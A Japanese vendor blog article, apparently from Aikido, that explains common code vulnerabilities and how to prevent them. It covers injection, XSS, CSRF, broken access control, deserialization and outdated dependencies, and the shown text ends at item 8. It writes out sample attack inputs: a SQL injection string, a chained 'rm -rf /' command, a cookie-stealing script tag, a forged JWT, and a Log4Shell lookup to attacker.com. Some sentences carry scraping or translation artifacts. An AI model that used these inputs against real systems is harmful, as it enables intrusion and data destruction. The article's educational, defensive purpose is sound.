主要なコードセキュリティ脆弱性
はじめに: 今日のソフトウェア環境において、コードセキュリティは成否を分ける重要な懸念事項です。2025年には、公開された脆弱性の記録が破られ、上半期だけで21,500件以上のCVEが報告されました。攻撃者はこれらの欠陥を悪用するのに時間を費やさず、多くの場合、公開から数時間以内に武器化します。重要なのは、これらの多くが珍しい新しいゼロデイ脆弱性ではなく、開発者が何十年も犯してきた同じ古い間違いであるということです。クロスサイトスクリプティングやSQLインジェクションが、新たに報告されるCVEで依然として蔓延しているのは、ほとんど恥ずかしいことです。これは、安全なコーディングプラクティスが追いついていないことを浮き彫りにしています。脆弱性のエクスプロイトが現在、情報漏洩の20%を占め、盗まれた認証情報を抜いて主要な初期攻撃ベクトルになりつつあるため、これはすべての開発チームにとって懸念すべきことです。
図:ソフトウェアの脆弱性数は過去最高を記録しており、2025年には平均して毎日133件の新しいCVEが報告されています。これらのうち3分の1以上が「高」または「クリティカル」と評価されており、タイムリーなパッチ適用と安全なコーディングがこれまで以上に重要になっています。
なぜこれが重要なのか?たった一つのコーディング上の見落としが、数百万ドル規模のセキュリティ投資を無に帰す可能性があるからだ。例えば2024年には、米国財務省の侵害事件が API 漏洩に起因していたことが判明している。また、些細なSQLインジェクションや認証チェックの欠如が、壊滅的なデータ漏洩を引き起こす事例は誰もが目にしている。セキュアなコードは今、かつてないほど重要だ。これはセキュリティチームだけの問題ではありません。開発者である私たちが最初から安全なコードを書き、問題を早期に発見するツールを活用することから始まるのです。
この記事では、現代のアプリケーションを悩ませている主要なコードレベルのセキュリティ脆弱性を解説します。これらには、自社コードにおける古典的なバグ(ハードコードされたシークレットや入力検証の不備など)だけでなく、依存しているオープンソースライブラリやフレームワークにおける実際のCVEも含まれます。各脆弱性について、その仕組み、実例、影響、そして防止のための具体的なヒントを説明します。また、Aikidoのような開発者ファーストのセキュリティツールが、これらの問題が本番環境に到達する前に検出、あるいは自動修正するのにどのように役立つかについても強調します。
コードセキュリティ脆弱性とは?
コードセキュリティ脆弱性とは、攻撃者が機密性、完全性、または可用性を侵害するためにエクスプロイトできる、アプリケーションのソースコードにおけるあらゆる弱点です。これは単純なミス(例: 評価 をサニタイズされていない入力に対して使用すること)から、サードパーティライブラリにおける巧妙な欠陥(例:リモートコード実行につながるパースのバグ)まで多岐にわたります。要するに、攻撃者の作業を容易にするものであれば、それはコードの脆弱性です。
これらの弱点は、JavaScript/TypeScript、Python、Go、Java、その他どのような言語で記述していても、言語や技術スタックを問わず存在します。脆弱性により、攻撃者は悪意のあるコードを注入したり、機密データを盗んだり、権限を昇格させたり、システムをクラッシュさせたりする可能性があります。このような多くの欠陥は、一般的なソフトウェアで発見されるとCVE(Common Vulnerabilities and Exposures)としてカタログ化されます。その他には、自社コードに固有のロジックバグである場合もあります。共通しているのは、これらが安全でないコーディングプラクティスや見落とされた前提から生じるという点です。
それを踏まえて、今日、開発者に影響を与えている最も一般的で危険なコードレベルの脆弱性のいくつかを見ていきましょう。以下のリストは、開発者によくあるミスと、オープンソースプロジェクトにおける実際のCVEを組み合わせています。それぞれが、対処されなければ重大な侵害につながる可能性のある現実的な脅威を表しています。
コードセキュリティ脆弱性トップ10(と修正方法)
1. コード内のハードコードされたシークレット
機密性の高いシークレットをコードに埋め込んだままにすることは、重大でありながらよくある間違いです。APIキー、認証情報、暗号化キー、またはトークンをソースコードにハードコーディングすることは、攻撃者がそのコード(公開リポジトリや漏洩したアーティファクトなど)を見た場合、それらのシークレットに即座にアクセスできることを意味します。プライベートリポジトリであっても、認証情報は誤って漏洩する可能性があり、一度漏洩すると何年もの間使用可能なままになることがよくあります。実際、GitGuardianの2025年レポートによると、2024年にはGitHubで2380万件のシークレットが公開されました(前年比25%増)。さらに悪いことに、2022年に漏洩したシークレットの70%は2025年時点でも有効であり、攻撃者にそれらをエクスプロイトする長い期間を与えています。
実際の侵害事例がその影響を浮き彫りにしています。例えば、2024年には、攻撃者が認証プラットフォームの単一のハードコードされたAPIキーをエクスプロイトすることで、米国財務省のシステムを侵害しました。1つのキーで、彼らは正規のユーザーであるかのように、何層ものセキュリティ制御を迂回しました。同様に、多くのクラウド侵害は、開発者が誤ってクラウド認証情報やデータベースパスワードをリポジトリにコミットすることから始まります。攻撃者がそれらを見つけると、ゲームオーバーです。攻撃者は正規のユーザーとしてログインし、サービスになりすますことができます。
影響: 公開されたシークレットは、データベース、クラウドアカウント、決済ゲートウェイ、またはサードパーティAPIへの即時不正アクセスにつながる可能性があります。例えば、漏洩したAWSキーを持つ攻撃者は、インフラを立ち上げたり、データを抜き出したり、巨額の請求を発生させたりする可能性があります。侵害された認証情報が関与する侵害の平均コストは450万ドルであり、攻撃者が実質的に有効なアクセス権を持っているため、検出と封じ込めに最も時間がかかります。
予防/修復策: シークレット 実弾シークレット 扱ってください – コードやDockerfileにハードコードしてはいけません。環境変数、構成管理、または専用のシークレット保管庫を使用して、シークレット 注入してください。CI/CD 自動化されたシークレットスキャンを実装し、紛れ込んだ認証情報を捕捉します。(シークレット ブロックするライブ検出機能を提供するソリューションも存在します。)例えば、 Aikidoのプラットフォームにはシークレットスキャン機能が組み込まれており、API 検知して警告を発したり、プッシュ自体を阻止したりします。シークレットが漏洩したら、即座に侵害されたものと見なし、直ちに更新して古いものを無効化してください。シークレット管理の適切な衛生習慣とスキャンを実践することで、攻撃者に王国の鍵を渡す事態を防げます。
2. インジェクション攻撃(SQLインジェクションとコマンドインジェクション)
「インジェクション」脆弱性は、常に古典的であり、依然として非常に蔓延しています。コードインジェクション攻撃では、信頼できない入力がコードまたはコマンドとして解釈され、攻撃者が意図された動作を変更することを可能にします。最も悪名高い2つのバリアントは、SQLインジェクションとOSコマンドインジェクションです。
- SQLインジェクション(SQLi): ユーザー入力が適切な検証やパラメータ化なしにSQLクエリに連結される場合に発生します。攻撃者は次のような入力を作成できます
' OR 1=1--クエリロジックを改ざんする。これにより、クエリのWHERE句を拡張したり、クエリを終了させて新たなコマンドを追加したりすることで、データベース全体をダンプしたりデータを改変したりすることが可能となる。脆弱性 典型脆弱性 であるにもかかわらず、SQLiは依然として広く蔓延している——2025年のCVEにおいて2番目に脆弱性 であった。例えば、悪名高い「ボビー・テーブルズ」XKCD 冗談は面白いけど、実際に企業がまだそれにやられていると気づくと笑えなくなる。ログインフォームへの単純なSQLインジェクションが原因で、数百万件もの顧客記録が盗まれたという注目すべき侵害事例が存在する。 - OSコマンドインジェクション: この場合、アプリケーションはユーザー入力を受け取り、それをシステムコマンドまたはシェル実行呼び出しに挿入します。例えば、Pythonアプリケーションは次のように実行するかもしれません
os.system("ping " + user_input)。攻撃者は次のような入力を提供できます8.8.8.8 && rm -rf /悪意のある2番目のコマンドを実行するために。ウェブフレームワークやユーティリティには、意図せずそのような入力によってシェルが生成されることを許してしまうCVEが存在しました。本質的に、攻撃者が;または&&コマンド文字列に挿入されると、アプリの権限で任意のシステムコマンドを実行できます。
例:実世界で注目された事例として、Drupal CMSの「Drupalgeddon2」脆弱性 CVE-2018-7600)が挙げられる。これは本質的に、細工されたリクエストを介したリモートコード実行を可能にするインジェクション欠陥であった。 別の事例:2022年、ある大手企業では管理ツールがユーザー入力をPowerShellコマンドに連結したため内部データが消去された。攻撃者がセキュリティサービスを無効化しデータを削除するコマンドを送信したのである。これらの事例は、インジェクションが直接システム全体の侵害につながることを示している。
影響: SQLインジェクションは、機密データ(ユーザー記録、財務情報)を漏洩または破損させる可能性があり、データベースのストアドプロシージャを介してより深いネットワークピボットを可能にすることがよくあります。コマンドインジェクションは、ほぼ常にリモートコード実行 (RCE) を引き起こし、攻撃者がサーバー上で任意のコードを実行できるようにします。これにより、ホスト全体が乗っ取られる可能性もあります。インジェクションの脆弱性は非常に深刻であり、アプリケーションとその基盤となるサーバーを危険にさらす可能性があります。
予防: 鉄則は ユーザー入力を決して信頼しないこと。データベースアクセスにはプリペアドステートメント(パラメータ化されたクエリ)を使用します。これにより、ユーザーデータは実行可能なSQLではなく、厳密にデータとして扱われることが保証されます。例えば、Pythonではパラメータプレースホルダーを次のように使用します cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) 文字列フォーマットではなく。JavaScriptのような言語では、クエリを自動的にパラメータ化するORM/QueryBuilderライブラリを使用します。同様に、ユーザー入力の断片からシェルコマンドを構築することは避けてください。システムコマンドを呼び出す必要がある場合は、安全なライブラリ呼び出しを使用するか、少なくとも許容される入力をホワイトリスト化してください。入力を検証し、サニタイズします。例えば、入力がIDであるべき場合は、それが数値であり、期待される範囲内であることを確認します。入力検証だけでは完璧ではありませんが、重要なレイヤーです。
また、セキュリティテストツールを活用してください。静的コード解析では、明らかなインジェクションパターン(SQL呼び出しにおける文字列連結など)を検出できる場合が多いです。 AikidoのSASTSAST例えば、リスクの高いものをフラグ付けする os.system(user_input) 呼び出しやパラメータ化されていないSQLクエリを潜在的なインジェクションとしてフラグ付けします。予防策としては、Web Application Firewall (WAF) は一部のインジェクション試行をブロックできますが、それらはセーフティネットであり、目標はコードを修正することです。インジェクションの脆弱性は、導入が容易であり、時には発見が困難であるため、根強く残ることを忘れないでください。コードレビュー、開発者トレーニング、および自動スキャンがここでは有効です。
3. クロスサイトスクリプティング (XSS)
クロスサイトスクリプティングは、攻撃者のツールキットにおけるもう一つの定番です。XSS攻撃では、ウェブアプリケーションが、攻撃者によって提供された悪意のあるスクリプトコードを、他のユーザーに送信されるページに意図せず含めてしまいます。被害者のブラウザがそのスクリプトを実行し、セッションの乗っ取り、サイトの改ざん、またはユーザーへのマルウェア配信につながります。XSSにはいくつかの種類(格納型、反射型、DOMベース型)がありますが、その核心は通常、UIにおける出力の適切なサニタイズまたはエンコードの失敗にあります。
最新のフロントエンドフレームワークの台頭にもかかわらず、XSSは依然として最も頻繁なウェブ脆弱性パターンで第1位です。2025年上半期には、新規CVEで確認されたクロスサイトスクリプティングが単一で最も一般的な脆弱性でした。これは、サニタイズにおけるわずかな見落としでも、本来安全なプラットフォームにXSSを導入してしまう可能性があるためです。例えば、2025年に開示された新しいAngularの脆弱性 (CVE-2025-66412) では、特定のSVGおよびMathML属性がAngularのデフォルトサニタイザーでカバーされておらず、悪意のあるJavaScript URLがすり抜けることが明らかになりました。影響を受けるAngularバージョンを使用するアプリでは、攻撃者は、レンダリング時にユーザーのブラウザで任意のスクリプトを実行するペイロードを作成できました。これは、安全であるはずのフレームワークにおける格納型XSSです!
例 典型的な例は、ユーザーがテキストを投稿できるコメントセクションです。アプリがそのテキストをエンコードせずにページに再表示するだけの場合、攻撃者は次のようなコメントを投稿する可能性があります <script>stealCookies()</script>。そのコメントを閲覧するすべてのユーザーは、知らず知らずのうちに攻撃者のスクリプトを実行することになります。これにより、例えばセッショントークンが攻撃者に送信される可能性があります。ユーザープロファイルやフォーラムでのXSSが大量のアカウント乗っ取りにつながった、高プロファイルサイトでの実際のインシデントも発生しています。2023年でさえ、研究者は様々なプラグインやウェブアプリでXSSを発見しました。例えば、人気のあるエンタープライズサポートポータルにおける反射型XSSにより、攻撃者はヘルプデスクユーザーをだまして細工されたリンクをクリックさせることでコードを実行できました。
影響: XSSの影響は通常、クライアント側でのなりすましとデータ窃盗です。攻撃者はセッションクッキーを盗み、ユーザー(管理者を含む)になりすますことができます。ユーザーとしてアクションを実行したり(アカウント設定の変更など)、偽のログインフォームを表示したり(フィッシング)、さらにはワームを拡散させたり(他のページに自己投稿するXSS)することも可能です。XSSはサーバーを直接侵害するわけではありませんが、ユーザーを深刻なリスクにさらし、アプリケーションを改ざんする可能性があります。場合によっては、XSSがさらなる攻撃への足がかりとなることもあります(例:管理者のブラウザにピボットしてバックエンドアクセスを取得するなど)。
対策: 鉄則は、入力をサニタイズし、出力をエンコードすることです。HTML特殊文字を含む可能性のあるデータについては、ページに挿入する前に適切にエスケープまたはサニタイズされていることを確認してください。React、Angular、Vueのような最新のフレームワークには、組み込みのXSS防御機能(危険なHTMLに対する自動エスケープやDomPurifyなど)があります。これらを意図したとおりに使用し、これらの保護機能を迂回しないようにしてください。手動でHTMLを構築する場合は、自動エスケープ機能を持つテンプレートライブラリを使用するか、明示的にエンコード関数を呼び出してください。被害を軽減するためにコンテンツセキュリティポリシー (CSP) を採用します(CSPは実行できるスクリプトを制限できます)。フロントエンドライブラリを定期的に更新してください。Angularの2025年のXSS CVEに見られるように、フレームワークはサニタイズのギャップを修正しています。
ツールという観点からは、 静的アナライザー は、サニタイズされていないデータフローを追跡することで、一部のXSS問題を発見できます。例えば、Aikidoのコードスキャンは、ユーザー入力が直接 インナーHTML や、エスケープなしでテンプレートに渡される場合に警告できます。動的スキャン (DAST) も、テスト中にスクリプトを注入しようとすることでXSSを検出できます。これらを徹底的なコードレビュー(HTMLを扱うコードをレビューする際に攻撃者の視点を想像する)と組み合わせます。重要なのは警戒心です。XSSは、誰かがエスケープを忘れた「小さなフィールド」から忍び込むことがよくあります。
4. クロスサイトリクエストフォージェリ(CSRF)
クロスサイトリクエストフォージェリは、ここでの他の問題とは少し異なります。これは、純粋なコードバグというよりも設計上の脆弱性ですが、ウェブアプリケーションにとって非常に重要です。CSRFは、攻撃者が被害者のブラウザをだまして、被害者が認証されているウェブアプリケーション上で不正なアクションを実行させることを可能にします。本質的に、攻撃者は被害者のブラウザからターゲットアプリケーションに偽造されたリクエストを送信することで、被害者のセッションに「便乗」します。
これはどのようにして起こるのでしょうか?例えば、ユーザーが銀行のウェブサイトにログインしているとします。銀行の送金機能は、送金のための単純なPOSTリクエストです。銀行サイトがCSRFから保護されていない場合、攻撃者は、隠されたフォームやスクリプトを含む悪意のあるHTMLページをそのユーザーにメールで送りつけ、それが自動的にPOSTリクエスト(ユーザーのクッキーを使用)を行うように仕向けることができます。銀行はユーザーからの有効なセッションクッキーを認識し、リクエストを処理します。ユーザーの知らぬ間に、攻撃者に送金してしまうのです。
CSRFは何年も前からよく知られていますが、依然として頻繁に発生しています(2025年のCVEでは上位5つの脆弱性カテゴリに含まれていました)。これは、開発者がCSRFトークンやその他の偽造防止策を含めずにAPIやフォームアクションを構築する際に発生することがよくあります。経験豊富なフレームワークでさえロジックバグを抱えることがあります。例えば、2025年にAngularの脆弱性が発見されました。AngularのXSRF保護が一部のクロスドメインURLを誤って同一オリジンとして扱い、ユーザーのトークンを攻撃者が制御するリクエストに添付してしまったのです。このような欠陥は、トークンの漏洩や悪用によってCSRFを可能にする可能性があります。
影響: CSRF攻撃が成功すると、ユーザーのアカウントが許可されているあらゆる状態変更アクションを強制的に実行させることができます。アカウント詳細の更新、購入、パスワードの変更、さらにはそのような機能が存在すれば権限昇格も可能です。本質的に、攻撃者は被害者の認証済みセッションに便乗します。特筆すべきは、CSRF攻撃は直接的なデータ窃盗(それはXSSの目的です)ではなく、アクションを標的とすることです。しかし、そのアクションは(金融取引、データ改ざんなど)同様に損害を与える可能性があります。多くの注目すべきCSRFエクスプロイトにより、攻撃者は、例えばルーターのDNS設定を内部から変更したり、ソーシャルメディア上でユーザーに代わって不要なコンテンツを投稿したりすることが可能になりました。
予防: 標準的な防御策は、各機密トランザクションにアンチCSRFトークンを含めることです。Django、Rails、Springなどのフレームワークには、組み込みのCSRFトークンメカニズムがあります。これらを活用してください。トークンは攻撃者のサイトが取得できないランダムな値であり、サーバーは正しいトークンを持つリクエストのみを処理します(通常、隠しフォームフィールドまたはヘッダーとして送信されます)。最新のアプリケーションでは、純粋なAPIバックエンドを構築している場合、カスタムヘッダー(例:X-Requested-With)の要求や、設定されたSame-Site Cookieなどの戦略を使用できます。 厳格/緩い CSRFを軽減するために。Cookieがマークされていることを確認してください。 SameSite=Lax または 厳格 これにより、ブラウザはデフォルトでクロスオリジンリクエストにそれらを含めなくなります(これは現代の主要な防御策となっています)。また、CORS設定には注意し、意図しない限り、攻撃者のドメインがCORS経由で特権リクエストを送信することを許可しないでください。
ほとんどのWebフレームワークは、適切に有効にすればCSRFを処理します。誤って無効になっていないことを確認してください。テストでは、いくつかのCSRFシナリオを試してください。外部リンクにアクセスしたり、画像を読み込んだりするだけでアクションがトリガーされるか?もしそうであれば、問題があります。幸いなことに、CSRFは適切な対策によって防止できます。Aikidoのセキュリティテストは、ペンテストの一環としてCSRF攻撃をシミュレートすることもできます。さらに、多要素認証を必要とする重要なアクションを検討してください(CSRFによってアクションがトリガーされたとしても、完了するには第2の要素が必要となります)。全体として、リクエストが正規のソースから来たものだと決して仮定せず、常に検証してください。
5. 認証とアクセス制御の不備
認証とアクセス制御の不備の脆弱性は、アプリケーションが誰が何を実行できるかを適切に強制しない場合に発生します。このカテゴリは、OWASP Top 10において常に最も重大なリスクです。基本的に、これらは攻撃者が認証をバイパスしたり、認可ロジックのギャップを悪用して特権を昇格させたりすることを可能にする欠陥です。
1つのサブセットは 認証の不備 – 弱いパスワードの許可、ブルートフォース攻撃に対するロックアウトの不実施、または欠陥のあるセッション管理(例:予測可能なセッションIDや期限切れにならないセッションID)などの問題です。有名な歴史的例として、一部のアプリがアルゴリズム「none」を持つJWTを有効として受け入れていた問題があります。これは、攻撃者がトークンを偽造できることを意味します。 { "alg": "none", "user": "admin" } そしてシステムがそれを管理者ログインとして受け入れてしまうというものでした(これはライブラリがトークンを適切に検証していなかったことに起因し、2015年頃に発見された問題です)。最近では、デフォルトの管理者認証情報をそのままにしておく、またはハードコードされたパスワードを使用する(シークレットに関連する)といった設定ミスが、一般的な認証の失敗として挙げられます。
もう1つの(そしておそらくより蔓延している)サブセットは アクセス制御の不備。これは、ユーザー権限を正しくチェックしないことに関するものです。例えば、アプリケーションが次のようなURLを許可している場合があります。 /user/profile?userId=1234。もし「」を変更して ユーザーID 他のユーザーのIDに変更し、そのデータを閲覧または変更できる場合、それはIDOR(Insecure Direct Object Reference:安全でない直接オブジェクト参照)であり、典型的なアクセス制御の欠陥です。これは多くのCVEでCWE-862「Missing Authorization(認可の欠如)」として強調されてきました。これは非常に一般的です。多くの著名な情報漏洩は、リクエスト元の特権を検証しないAPIエンドポイントが発見されることから始まります。実際の例として、ある企業のHRシステムには人事マネージャー向けの「全従業員記録のエクスポート」機能がありました。チェックが欠如していたため、ログインしている従業員であれば誰でもURLを知っていればこの機能を呼び出すことができ、数千件の記録のデータ漏洩につながりました。
影響: 認証の不備は、攻撃者が他のユーザーになりすます(管理者を含む)ことや、他のユーザーの特権を使用することを可能にします。アクセス制御の不備は、機密データ(他のユーザーの記録にアクセスできる場合)を露呈させたり、悪意のある状態変更(例:一般ユーザーが管理者専用のアクションを実行する)を許可したりする可能性があります。最悪のシナリオには、完全なアカウント乗っ取り、データ漏洩、またはシステム全体での不正な操作が含まれます。例えば、管理者チェックの欠如により、攻撃者が新しい管理者ユーザーを作成したり、すべての顧客データをダウンロードしたりする可能性があります。これが最もリスクの高い項目としてランク付けされている理由は容易に理解できます。それは、各ユーザーが許可されたことのみを実行できるという基本的なセキュリティ原則を損なうためです。
対策: これは、認証と認可の実装における厳格さに帰結します。
- 認証: ログインとセッション管理には実績のあるフレームワークを使用し、可能であれば独自の認証を開発することは避けてください。強力なパスワードポリシーを強制し、機密性の高いアカウントには多要素認証を使用してください。パスワードを適切にハッシュ化してください(平文のMD5ではなく、bcryptやArgon2のような強力な適応型ハッシュを使用してください)。ブルートフォース攻撃を阻止するために、ログイン試行に対するアカウントロックアウトまたはレート制限を実装してください。セッショントークンは長く、ランダムなものにし、JWTを使用する場合は、常に署名とクレームを検証してください(そして「none」アルゴリズムやその他の安全でない設定は拒否してください)。JWTの検証とセッションストレージを安全に処理するためのライブラリの使用を検討してください。
- アクセスコントロール: アプリケーション設計では、最小特権の原則に従ってください。サーバーサイドでは、保護されたリソースへのすべてのリクエストで認可チェックを実行する必要があります。例えば、ユーザー123がリクエストした場合、
/accounts/456、コードはユーザー123がリソース456にアクセスすることを許可されているか検証する必要があります。可能な場合は、ロールベースアクセス制御(RBAC)または属性ベースアクセス制御(ABAC)フレームワークを使用してください。認可ロジックを集中化することで、忘れやすい無数の条件分岐に散らばるのを防ぐことができ、多くの場合役立ちます。Django、Rails、Spring Securityなどのフレームワークを使用する際は、組み込みのアクセス制御アノテーションやミドルウェアを活用してください。REST APIでは、クライアントサイドでの強制(UIで管理者ボタンを非表示にするなど)だけに頼ることは避け、常にバックエンドでも強制してください。
開発およびテスト中は、攻撃者のように考えてください。URL操作を試したり、他のユーザーのIDにアクセスしようとしたり、自分の役割外のアクションを実行したりしてください。Aikidoのセキュリティテスト(または手動ペンテスト)のようなツールは、一般的なIDORパターンやエンドポイントでの認証の欠如をスキャンすることで、これらの問題を特定するのに役立ちます。一部の静的解析ツールは、認証ロジック内のハードコードされたバイパスや常に真となる条件も検出できます。
コードでは、「セキュリティ・バイ・オブスキュリティ」(つまり、隠された管理者エンドポイントは誰も見つけられないだろうという考え)を決して仮定しないでください。代わりに、たとえそれが見つかったとしても、適切な認証情報なしには使用できないようにしてください。ロギングとアラートも重要です。誰かが繰り返しアクセスすべきでないリソースにアクセスしている場合、それを把握する必要があります。まとめると、すべてを認証し、すべてのアクションを認可することが重要です。
6. 安全でないデシリアライゼーション
デシリアライゼーションの脆弱性は、アプリケーションが信頼できないソースからシリアライズされたデータ(オブジェクトを表すバイナリBLOBやJSON/XMLなど)を受け入れ、適切な保護なしにデシリアライズする際に発生します。データが悪意を持って作成されている場合、プログラムが予期せぬオブジェクトをインスタンス化したり、攻撃者が制御するコードを実行したりする可能性があります。Java、Python、.NETのような言語では、不安全なデシリアライゼーションが数多くの深刻なCVEやエクスプロイトにつながっています。
最近の注目すべき例としては、2025年後半に発見されたReact Server Componentsにおける深刻なRCEであるReact2Shell (CVE-2025-55182)が挙げられます。これは、RSCの「Flight」プロトコルにおける不安全なデシリアライゼーションに起因するもので、本質的には、Next.js/Reactアプリに送信された不正な形式のペイロードがサーバーのデシリアライゼーションロジックを操作し、リモートコード実行を達成する可能性がありました。特に恐ろしいのは、デフォルト設定が脆弱であったことです(標準的なNext.jsアプリは、開発者によるコード変更なしに悪用される可能性がありました)。これは、サーバーへの細工されたHTTPリクエストのみを必要とする認証不要の攻撃であり、エクスプロイトコードが公開されたことで、数日以内に実環境でのエクスプロイトにつながりました。この事例は、デシリアライゼーションの欠陥が最新のフレームワークにも潜んでいる可能性があることを示しています。
Javaにおける悪名高い事例は、2015年のApache Commons Collectionsの悪用です。多くのエンタープライズアプリケーションが、ユーザー入力(HTTPクッキーやSOAPデータなど)からJavaオブジェクトを自動的にデシリアライズするライブラリを使用していました。攻撃者は、構築時にコマンドを実行する悪意のあるクラスのシリアライズされたオブジェクトを含めることができることを発見しました。これにより、Jenkins、WebLogicなどのアプリでRCEが発生しました(StrutsのCVE-2017-9805やWebLogicの他のCVEなど、複数のCVEがこれらの問題に対処しました)。Pythonも例外ではありません。信頼できない入力に対して pickle.loads を使用することは、基本的に入力にコード実行権限を与えることになります。一見安全に見えるデータ形式でさえリスクを伴うことがあります。PythonやRubyのYAMLパーサーには、特別に細工されたYAMLをロードする際にコマンド実行を強制される脆弱性がありました。
影響: 不安全なデシリアライゼーションは、多くの場合、 リモートコード実行への経路となります。少なくとも、データ改ざんや意図しないオブジェクトの注入を許してしまう可能性があります。攻撃者は、悪意のある副作用を持つシステムクラスやオブジェクトをインスタンス化する可能性があります。例えば、Javaでは、ガジェットクラス(readObjectメソッドに悪意のある動作を持つオブジェクト)を使用してリバースシェルを開くことがあります。Pythonでは、悪意のあるpickleがosモジュールをインポートし、システムコマンドを実行する可能性があります。コードがアプリのプロセス内で実行されるため、通常、影響はアプリケーション、そして場合によってはホストの完全な侵害となります。 readObject readObject os os
予防: まず、信頼できないソースからの機密性の高いデータ形式や任意のデータ形式のシリアライズとデシリアライズは、可能な限り避けてください。クライアントとデータを交換する必要がある場合は、JSONのようなよりシンプルな形式を使用し、ネイティブ言語のオブジェクトシリアライゼーションではなく、コンテンツを手動でパース/検証してください。デシリアライゼーションを必要とする言語(例:複雑なオブジェクトの受信)の場合は、セーフモードまたはクラスのホワイトリストをサポートするライブラリを使用してください。例えば、JavaのObjectInputStreamは、検証フィルター(最新のJDKバージョンで利用可能)を介して特定のクラスに制限することができます。同様に、Pythonではjson.loadを優先するか、YAMLを使用する必要がある場合はyaml.safe_loadを使用してください(潜在的なオブジェクトのインスタンス化を避けるため)。 ObjectInputStream ObjectInputStream json json.load safe_load 代わりに load yaml.safe_load
多くのフレームワークは、既知のデシリアライゼーションベクトルに対処しています。例えば、危険なデフォルト設定を無効にすることなどです。これらのライブラリを常に最新の状態に保つようにしてください。上記のReactの脆弱性は、Next.jsとReactのパッチによって修正されました。これらへのアップグレードは極めて重要です。依存関係スキャンは、そのようなCVEについて警告し、迅速にパッチを適用できるようにします。
コード側では、デシリアライゼーションを信頼できないソースからファイルを読み込むことと同様に扱ってください。 その内容を決して信頼しないでください。可能であれば、シリアライズされたデータに対して整合性チェックまたは署名を実装してください(これにより、サーバーのみが有効なシリアライズされたオブジェクトを生成できるようになります)。JWTやその他のトークンを使用する場合は、組み込みの検証機能を備えた標準形式を優先してください。AikidoのSASTは、安全でない関数の使用を検出するのに役立ちます(例えば、明らかに信頼できないデータに対してpickle.loadが使用されている場合に警告することができます)。そして、どうしてもシリアライズされたオブジェクトを受け入れる必要がある場合は、そのロジックを制限された権限を持つサンドボックス環境で実行することを検討してください。pickle.load pickle.loads pickle.load
まとめると、デシリアライゼーションには極めて注意してください。バイトを自動的にオブジェクトに変換する利便性は、厳密に制御されていない限り、セキュリティリスクに見合いません。
7. 脆弱で古い依存関係の使用
現代のアプリケーションは、オープンソースライブラリやフレームワークに大きく依存しています。その欠点は、これらを最新の状態に保っていない場合、コードベースに既知の脆弱性を抱えている可能性が高いことです。脆弱な、または古いコンポーネントの使用は非常に一般的であるため、OWASPは2025年にこれをより広範な「ソフトウェアサプライチェーン」カテゴリに含めました。自身のコードが完璧であっても、たった一つの古いライブラリがアプリケーションをエクスプロイト可能にする可能性があります。
典型的な例としては、 Log4Shell (CVE-2021-44228) Log4j 2におけるものです。これは、2021年末に公開された、非常に人気のあるJavaロギングライブラリにおける深刻なRCE脆弱性でした。攻撃者は、特別に細工された文字列(${jndi:ldap://attacker.com/a})を任意のログメッセージに送信するだけで、脆弱なLog4jバージョンがその文字列をログに記録した場合、攻撃者のサーバーへのJNDIルックアップを実行し、悪意のあるコードをロードしました。その結果、攻撃者はログイベントをトリガーとして、サーバー上で任意のコードを実行できました。Log4Shellは 至る所に存在し、 – Log4jが無数のJava製品に組み込まれていたため、数百万のアプリケーションが影響を受けました。企業は何週間もかけてLog4jを2.17以降のバージョンに必死に更新し、この問題を修正しました。この一つの依存関係のバグは、ここ数年で最も深刻なインターネット脆弱性の一つとされました。
他にも多くの例があります。OpenSSLのHeartbleedバグ(2014年)は通信を露呈させ、Jackson-databindのデシリアライゼーションの欠陥(2017年~2019年の複数のCVE)はJSON処理を介して攻撃者にRCEを許し、urllib3 Pythonライブラリの脆弱性(CVE-2020-26137)は特定の条件下でHTTPS証明書のバイパスを可能にしました。JavaScriptの世界では、LodashやjQueryにおけるプロトタイプ汚染の問題(例:CVE-2019-10744)を忘れることはできません。攻撃者は悪意のある入力を介してオブジェクトのプロトタイプを操作し、アプリケーションに大混乱をもたらす可能性がありました。人気のあるパッケージの古いバージョンを使用している場合、その脆弱性は公に知られている可能性が高いです。攻撃者はそれらを確実に知っており、パッチが適用されていないアプリケーションをエクスプロイトしようとします。
影響: 影響はライブラリの脆弱性によって異なりますが、リモートコード実行、データ漏洩、または完全な侵害といった深刻なものになる可能性があります。Log4Shellの例で言えば、古いLog4jを使用していた場合、攻撃者は適切な文字列を送信するだけでサーバー上でリモートからコードを実行できました(これは最悪の事態です)。古いWebフレームワークは、自身のコードが正しくても、サイト上でXSSやSQLiを許してしまう可能性があります。脆弱な暗号化ライブラリは、依存している暗号化を破る可能性があります。本質的に、セキュリティは依存関係における最も弱いリンクと同じくらいしか強くありません。攻撃者は、エクスプロイト可能なターゲットを特定するために、ヘッダーや既知のファイルパスを介して特定のソフトウェアバージョンをスキャンすることがよくあります。
予防: アップデートを常に把握してください。 これは言うは易く行うは難しですが(多くの依存関係を持つ大規模プロジェクトでは、継続的なアップデートは面倒な作業になりがちです)、セキュリティ上、これは譲れない点です。利用可能なアップデートを表示できる依存関係管理ツールを使用し、定期的に適用する時間を確保してください。プロジェクトが既知のCVEを持つライブラリを取り込んでいる場合に警告するSCAツールを活用してください。例えば、もし深刻な脆弱性が lodash 4.17.19 にあり、それを使用している場合、SCAツールはそれを検出し、 4.17.21へのアップグレードを提案します。多くのパッケージレジストリもセキュリティアドバイザリを公開しています。CIプロセスの一部として、ご自身のエコシステムに適した監査ツールを使用してください。
単なる警告だけでなく、一部の最新ツールはこれらの問題をAutoFixすることもできます。つまり、安全なバージョンに自動的に更新します。一部のプラットフォームは、脆弱なパッケージを検出し、CVEを修正する最小限のバージョンアップグレードを提案し(さらにはプルリクエストを自動で作成する)、アップグレード後は常にテストを行ってください。しかし、破壊的変更を恐れて古い脆弱なバージョンを使い続けないでください。ほとんどの場合、侵害のリスクはマイナーアップデートのリスクを上回ります。
さらに、可能な限り依存関係を最小限に抑え(ライブラリが少ないほど潜在的な脆弱性も少なくなります)、活発にメンテナンスされているライブラリを優先してください。プロジェクトが放棄されているように見え、既知の問題がある場合は、代替案を検討してください。使用している技術における重大な脆弱性について、セキュリティフィードを常に監視してください。本質的に、依存関係管理は単なるDevOpsタスクではなく、セキュリティ体制の一部として扱うべきです。目標は、攻撃者が既知の脆弱性をエクスプロイトする前に、それらを塞ぐことです。
8. 悪意のある、または侵害された依存関係(サプライチェーン攻撃)
